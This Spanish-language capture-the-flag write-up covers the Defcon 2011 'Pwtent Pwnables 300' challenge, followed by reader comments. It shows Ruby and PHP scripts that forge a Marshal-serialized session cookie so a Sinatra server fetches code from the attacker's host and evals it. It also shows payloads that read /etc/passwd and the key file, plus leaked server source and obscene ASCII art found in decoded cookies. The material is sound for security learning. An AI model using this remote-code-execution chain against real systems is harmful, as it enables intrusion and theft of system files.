WriteUp Pwtent Pwnables 300 - Defcon 2011
Junio 6, 2011
Este fin de semana se dio a cabo la preclasificatorias para Defcon 2011, en total fueron 25 problemas del cual solo resolvimos 8. A continuación la descripción, resolución y respuesta para el reto Pwtent Pwnables 300.
Descripción
What is the id number of the official training manual for ddtek?: pwn508.ddtek.biz:52719
Solución
Al ingresar al sitio web encontramos unas imágenes y un video que no son muy útiles, al poner una dirección no existente el servidor nos redireccionaba a una página decente donde nos mostraba el error, observando el código de esta última página encontramos que una carpeta llamada "__sinatra__" almacen las imágenes para errores del servidor como "Not found" o "Interval server error" con su respectivo código: "400.png" y "500.png".
Ingresando caracteres no permitidos para nombres de archivo en las imágenes (http://pwn508.ddtek.biz:52719/__sinatra__/%00400.png) nos dimos cuenta que el servidor web se trataba de WEBrick y que estaba corriendo la aplicación Sinatra para Ruby.
En los mensajes de error se podía ver claramente el código usado por la aplicación, por lo que luego de varios intentos y de finalmente entregar una cookie corrupta descubrimos la forma en cómo ésta se estaba codificando:
session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
b.call
A continuación se presentan los cuatro valores en plano para el anterior hash table, el único valor desconocido es el de la variable "url", el cual obtenemos de la Cookie enviada por el servidor.
El script utilizado para esta parte fue el siguiente
$content = 'BASE64';
$compressed = base64_decode($content);
$plaintext = gzuncompress($compressed); // similar function to Zlib::Inflate.inflate
echo $plaintext;
Valor 1
eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t _//( oo\\\\ <_.\\\ \__/" //_`. ,@;@, ||/ )] ;@;@( \@;@;@;@;@;@,_|/ / | /a `@\_|@;@;@;@(_____.' | / )@:@;@;@;@/@:@;@#|"""| `--"'`;@;@;@;@|@;@;@`==\ ) `;@;\;@;\;@;@` || | || | \\ ( __||H| || | // / \=="#'= // ( // / |__V_| ''"' '"'___<<____) (sheep fucker)
Valor 2
eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc _,-%/%| _,-' \//%\ _,-' \%/|% / / ) __,-- /%\ \__/_,-'%(% ; %)% %\%, %\ '--%' (i don't know what is this)
Valor 3 (Interesante)
mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i => eNpj4VCSySgpKbDS1zc0MtczAEJDK1MjCwMjfQBR/wXC http://127.0.0.1:52802/
Valor 4
eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ * g o a t s e x * g o a t s e x * g o a t s e x g g o / \ \ / \ o a| | \ | | a t| `. | | : t s` | | \| | s e \ | / / \\\ --__ \\ : e x \ \/ _--~~ ~--__| \ | x * \ \_-~ ~-_\ | * g \_ \ _.--------.______\| | g o \ \______// _ ___ _ (_(__> \ | o a \ . C ___) ______ (_(____> | / a t /\ | C ____)/ \ (_____> |_/ t s / /\| C_____) | (___> / \ s e | ( _C_____)\______/ // _/ / \ e x | \ |__ \\_________// (__/ | x * | \ \____) `---- --' | * g | \_ ___\ /_ _/ | g o | / | | \ | o a | | / \ \ | a t | / / | | \ |t s | / / \__/\___/ | |s e | / | | | |e x | | | | | |x * g o a t s e x * g o a t s e x * g o a t s e x * (omg, goatse :|)
El único valor interesante es el tercero, que contiene una dirección local con el puerto 52802. Intentamos conectarnos a dicho puerto pero el firewall o la aplicación no lo permitía, así que lo que hicimos fue modificar el valor de la cookie haciendo que apuntara a nuestra IP y a un puerto específico utilizando el siguiente script para Ruby:
require 'base64'
session = {}
session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump('http://1.3.3.7:6047'),9))
session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
print Base64.encode64(Marshal::dump(session))
Ahora con la cadena apuntando a nuestro servidor podemos modificar la cookie y ver que el servidor se conecta a nuestro servicio usando el protocolo HTTP.
Al responder con cualquier cadena, la aplicación nos retorna un nuevo error, indicando que el contenido tuvo un error en la descompresión
puts "found session"
#response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp
nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
puts "attempting fetch from #{nurl}"
$stdout.flush
response = HTTPClient::get_content(nurl).chomp
mcode = Zlib::Inflate.inflate(Base64.decode64(response))
La respuesta se la debemos entregar comprimida y codificandola con base64
echo base64_encode(gzcompress("print 'a'"));
A lo que el servidor nos vuelve a sacar un error unas líneas más abajo indicando que el método call no existe en la clase bp
puts "got mcode: #{mcode}"
$stdout.flush
#bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
bp = eval(mcode)
puts "got proc: #{bp}"
$stdout.flush
bp.call
Por lo que Fernando averiguó como crear la clase que al llamar la función call retornara el contenido que deseabamos
$class = 'class Tits; def self.call;return CODIGO;end; end; bp = Tits'
echo base64_encode(gzcompress($class));
Lo primero que hicimos fue leer el archivo /etc/passwd
//return IO.readlines('/etc/passwd', '').to_s root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh 6rJJJ1eF:x:1000:1000::/home/6rJJJ1eF:/bin/sh pen:x:1001:1001::/home/pen:/bin/sh
Listar el contenido del directorio /home/6rJJJ1eF
//return Dir.entries('/home/6rJJJ1eF').join(' ') . .. asshoo assrck key www
Obtener el código de assrck
#!/usr/bin/env ruby
# $Rev: 510 $
require 'pp'
require 'base64'
require 'yaml'
require 'zlib'
require 'optparse'
require 'rubygems'
require 'sinatra'
require 'httpclient'
$options = { :port => 52700 }
$options = { :oport => 52800 }
$options[:port] = ARGV[0].to_i if ARGV[0]
$options[:oport] = ARGV[1].to_i if ARGV[1]
$wdir = "./www"
enable :sessions
set :port, $options[:port]
set :bind, "127.0.0.1"
set :static, "true"
set :public, $wdir
puts "i am assrck"
url = "http://127.0.0.1:#{$options[:oport]}/"
get '/' do
if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
puts "found session"
#response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp
nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
puts "attempting fetch from #{nurl}"
$stdout.flush
response = HTTPClient::get_content(nurl).chomp
mcode = Zlib::Inflate.inflate(Base64.decode64(response))
puts "got mcode: #{mcode}"
$stdout.flush
#bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
bp = eval(mcode)
puts "got proc: #{bp}"
$stdout.flush
bp.call
else
puts "did not find session"
session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
b.call
end
end
Y por último obtener el contenido del archivo key
//return IO.readlines('/home/6rJJJ1eF/key', '').to_s ISBN-13: 978-1931993494
Ya podemos obtener nuestro paperback y los 300 puntos
Archivado en: Criptografía, Hacking, Retos informáticos, Seguridad |
Congrats !
Thanks, nice article.
Buen CTF lastima que se me fue el internet el domingo y no pude seguir mas :C. Salu2
Bastante groso :), élite como siempre. Igual no entendí ¿Cómo es que llegas a ese nivel de solución?. Es decir como llegas a que la lógica del reto es de X manera?
Djo: Thanks
g0su: los que quedaban estaban muy malucos, pero fácil hubieras hecho el rr200
hdstryOwrld: pues la solución estaba ante nuestros propios ojos, al sacarle el error al servidor mostraba tal cual varias partes del código fuente, fue cuestión de entender que hacía el código fuente y explotarlo.
null life ftw!
Completely agree
realmente muy bueno, gracias por compartirlo